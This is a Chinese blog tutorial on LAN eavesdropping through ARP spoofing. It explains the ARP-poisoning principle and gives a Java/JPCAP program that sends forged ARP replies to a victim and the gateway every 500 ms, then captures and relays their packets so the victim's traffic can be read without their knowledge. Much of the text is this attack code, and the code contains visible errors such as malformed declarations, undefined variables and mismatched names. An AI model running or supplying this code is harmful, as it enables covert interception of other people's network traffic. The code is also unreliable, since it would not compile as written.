三.使用JPCAP實現(xiàn)監(jiān)聽
1.監(jiān)聽原理
在詳細說用JPCAP實現(xiàn)網(wǎng)絡(luò)監(jiān)聽實現(xiàn)前,先簡單介紹下監(jiān)聽的原理。
局域網(wǎng)監(jiān)聽利用的是所謂的“ARP欺騙”技術(shù)。在以前曾經(jīng)一段階段,局域網(wǎng)的布局是使用總線式(或集線式)結(jié)構(gòu),要到達監(jiān)聽只需要將網(wǎng)卡設(shè)定為混雜模式即可,但現(xiàn)在的局域網(wǎng)絡(luò)普遍采用的是交換式網(wǎng)絡(luò),所以單純靠混雜模式來達到監(jiān)聽的方法已經(jīng)不可行了。所以為了達到監(jiān)聽的目的,我們需要“欺騙”路由器、“欺騙”交換機,即“ARP欺騙”技術(shù)。
假設(shè)本機為A,監(jiān)聽目標(biāo)為B。
首先,偽造一個ARP REPLY包,數(shù)據(jù)鏈路層頭及ARP內(nèi)容部分的源MAC地址填入A的MAC地址,而源IP部分填入網(wǎng)關(guān)IP,目的地址填入B的MAC、IP,然后將這個包發(fā)送給B,而B接收到這個偽造的ARP REPLY包后,由于源IP為網(wǎng)關(guān)IP,于是在它的ARP緩存表里刷新了一項,將(網(wǎng)關(guān)IP,網(wǎng)關(guān)MAC)刷新成(網(wǎng)關(guān)IP,A的MAC)。而B要訪問外部的網(wǎng)都需要經(jīng)過網(wǎng)關(guān),這時候這些要經(jīng)過網(wǎng)關(guān)的包就通通流到A的機器上來了。
接著,再偽造一個ARP REPLY包,數(shù)據(jù)鏈路層頭及ARP內(nèi)容部分的源MAC地址填入A的MAC地址,而源IP部分填入B的IP,目的地址填入網(wǎng)關(guān)MAC、IP,然后將這個包發(fā)給網(wǎng)關(guān),網(wǎng)關(guān)接收到這個偽造的ARP REPLY包后,由于源IP為B的IP,于是在它的ARP緩存表里刷新了一項,將(B的IP,B的MAC)刷新成(B的IP,A的MAC)。這時候外部傳給B的數(shù)據(jù)包經(jīng)過網(wǎng)關(guān)時,就通通轉(zhuǎn)發(fā)給A。
這樣還只是攔截了B的數(shù)據(jù)包而已,B并不能上網(wǎng)——解決方法是將接收到的包,除了目的地址部分稍做修改,其它原封不動的再轉(zhuǎn)發(fā)出去,這樣就達到了監(jiān)聽的目的——在B不知不覺中瀏覽了B所有的對外數(shù)據(jù)包。
ARP數(shù)據(jù)包解析
單元:Byte
Ethernet頭部
|
ARP數(shù)據(jù)部分
|
|||||||||
6
|
6
|
2
|
2
|
2
|
2
|
2
|
4
|
6
|
4
|
6
|
目標(biāo)MAC地址
|
源地MAC地址
|
類型號0x0800:ip
0x0806:ARP
|
局域網(wǎng)類型
以太網(wǎng)0x0001
|
網(wǎng)絡(luò)協(xié)議類型
IP網(wǎng)絡(luò)0x0800
|
MAC/IP地址長度,恒為0x06/04
|
ARP包類型
REPLY
0x0002
|
ARP目標(biāo)IP地址
|
ARP目標(biāo)MAC 地址
|
ARP源IP地址
|
ARP源MAC地址
|
2.用JPCAP實現(xiàn)監(jiān)聽
就如上面說的,為了實現(xiàn)監(jiān)聽,我們必須做四件事:
A.發(fā)送ARP包修改B的ARP緩存表;
B.發(fā)送ARP包修改路由ARP緩存表;
C.轉(zhuǎn)發(fā)B發(fā)過來的數(shù)據(jù)包;
D.轉(zhuǎn)發(fā)路由發(fā)過來的數(shù)據(jù)包;
下面我們給個小小的例子說明怎樣實現(xiàn)。
我們假定運行這個程序的機器A只有一個網(wǎng)卡,只接一個網(wǎng)絡(luò),所在局域網(wǎng)為Ethernet,并且假定已經(jīng)通過某種方式獲得B和網(wǎng)關(guān)的MAC地址(例如ARP解析獲得)。我們修改了B和網(wǎng)關(guān)的ARP表,并對他們的包進行了轉(zhuǎn)發(fā)。
public class changeARP{
private NetworkInterface[] devices; //設(shè)備列表
private NetworkInterface device; //要使用的設(shè)備
private JpcapCaptor jpcap; //與設(shè)備的連接
private JpcapSender sender; //用于發(fā)送的實例
private byte[] targetMAC, gateMAC; //B的MAC地址,網(wǎng)關(guān)的MAC地址
private byte[] String targetIp, String gateIp; //B的IP地址,網(wǎng)關(guān)的IP地址
/**
*初始化設(shè)備
* JpcapCaptor.getDeviceList()得到設(shè)備可能會有兩個,其中一個必定是“Generic
*dialup adapter”,這是windows系統(tǒng)的虛擬網(wǎng)卡,并非真正的硬件設(shè)備。
*注意:在這里有一個小小的BUG,如果JpcapCaptor.getDeviceList()之前有類似JFrame jf=new
*JFame()這類的語句會影響得到設(shè)備個數(shù),只會得到真正的硬件設(shè)備,而不會出現(xiàn)虛擬網(wǎng)卡。
*虛擬網(wǎng)卡只有MAC地址而沒有IP地址,而且如果出現(xiàn)虛擬網(wǎng)卡,那么實際網(wǎng)卡的MAC將分
*配給虛擬網(wǎng)卡,也就是說在程序中調(diào)用device. mac_address時得到的是00 00 00 00 00 00。
*/
private NetworkInterface getDevice() throws IOException {
devices = JpcapCaptor.getDeviceList(); //獲得設(shè)備列表
device = devices[0]; //只有一個設(shè)備
jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打開與設(shè)備的連接
jpcap.setFilter(“ip”,true); //只監(jiān)聽B的IP數(shù)據(jù)包
sender = captor.getJpcapSenderInstance();
}
/**
*修改B和網(wǎng)關(guān)的ARP表。因為網(wǎng)關(guān)會定時發(fā)數(shù)據(jù)包刷新自己和B的緩存表,所以必須每隔一
*段時間就發(fā)一次包重新更改B和網(wǎng)關(guān)的ARP表。
*@參數(shù) targetMAC B的MAC地址,可通過ARP解析得到;
*@參數(shù) targetIp B的IP地址;
*@參數(shù) gateMAC 網(wǎng)關(guān)的MAC地址;
*@參數(shù) gateIp 網(wǎng)關(guān)的IP;
*/
public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)
throws UnknownHostException,InterruptedException {
this. targetMAC = targetMAC;
this. targetIp = targetIp;
this. gateMAC = gateMAC;
this. gateIp = gateIp;
getDevice();
arpTarget = new ARPPacket(); //修改B的ARP表的ARP包
arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //選擇以太網(wǎng)類型(Ethernet)
arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //選擇IP網(wǎng)絡(luò)協(xié)議類型
arpTarget.operation = ARPPacket.ARP_REPLY; //選擇REPLY類型
arpTarget.hlen = 6; //MAC地址長度固定6個字節(jié)
arpTarget.plen = 4; //IP地址長度固定4個字節(jié)
arpTarget.sender_hardaddr = device.mac_address; //A的MAC地址
arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); //網(wǎng)關(guān)IP
arpTarget.target_hardaddr = targetMAC; //B的MAC地址
arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress(); //B的IP
EthernetPacket ethToTarget = new EthernetPacket(); //創(chuàng)建一個以太網(wǎng)頭
ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; //選擇以太包類型
ethToTarget.src_mac = device.mac_address; //A的MAC地址
ethToTarget.dst_mac = targetMAC; //B的MAC地址
arpTarget.datalink = ethToTarget; //將以太頭添加到ARP包前
arpGate = new ARPPacket(); //修改網(wǎng)關(guān)ARP表的包
arpGate.hardtype = ARPPacket.HARDTYPE_ETHER; //跟以上相似,不再重復(fù)注析
arpGate.prototype = ARPPacket.PROTOTYPE_IP;
arpGate.operation = ARPPacket.ARP_REPLY;
arpGate.hlen = 6;
arpGate.plen = 4;
arpGate.sender_hardaddr = device.mac_address;
arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();
arpGate.target_hardaddr = gateMAC;
arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();
EthernetPacket ethToGate = new EthernetPacket();
ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;
ethToGate.src_mac = device.mac_address;
ethToGate.dst_mac = gateMAC;
arpGate.datalink = ethToGate;
thread=new Thread(new Runnable(){ //創(chuàng)建一個進程控制發(fā)包速度
public void run() {
while (true) {
sender.sendPacket(arpTarget);
sender.sendPacket(arpGate);
Thread.sleep(500);
}).start();
recP(); //接收數(shù)據(jù)包并轉(zhuǎn)發(fā)
}
/**
*修改包的以太頭,轉(zhuǎn)發(fā)數(shù)據(jù)包
*參數(shù) packet 收到的數(shù)據(jù)包
*參數(shù) changeMAC 要轉(zhuǎn)發(fā)出去的目標(biāo)
*/
private void send(Packet packet, byte[] changeMAC) {
EthernetPacket eth;
if (packet.datalink instanceof EthernetPacket) {
eth = (EthernetPacket) packet.datalink;
for (int i = 0; i < 6; i++) {
eth.dst_mac[i] = changeMAC[i]; //修改包以太頭,改變包的目標(biāo)
eth.src_mac[i] = device.mac_address[i]; //源發(fā)送者為A
}
sender.sendPacket(packet);
}
}
/**
*打印接受到的數(shù)據(jù)包并轉(zhuǎn)發(fā)
*/
public void recP(){
IPPacket ipPacket = null;
while(true){
ipPacket = (IPPacket)jpcap.getPacket();
System.out.println(ipPacket);
if (ipPacket.src_ip.getHostAddress().equals(targetIp))
send(packet, gateMAC);
else
send(packet, targetMAC);
}
}
注意:這個例子只是為了說明問題,并沒有考慮到程序的健壯性,所以并不一定能在任何一臺機器任何一個系統(tǒng)上運行。
Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=1370905